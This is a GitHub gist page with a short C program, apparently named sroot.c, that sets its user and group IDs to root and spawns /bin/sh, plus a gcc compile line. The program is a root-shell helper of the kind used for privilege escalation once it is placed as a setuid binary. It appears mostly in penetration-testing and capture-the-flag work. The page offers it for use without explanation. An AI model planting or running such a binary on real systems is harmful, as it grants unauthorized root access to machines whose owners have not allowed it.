Created
July 19, 2021 10:37
-
-
Save h4rithd/bf3e7235b64062b7f9f7ad8f223c0e5d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int main(void) | |
{ | |
setuid(0); | |
setgid(0); | |
printf("-----| by h4rithd.com |-----"); | |
system("/bin/sh"); | |
} | |
// gcc -o sroot sroot.c |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment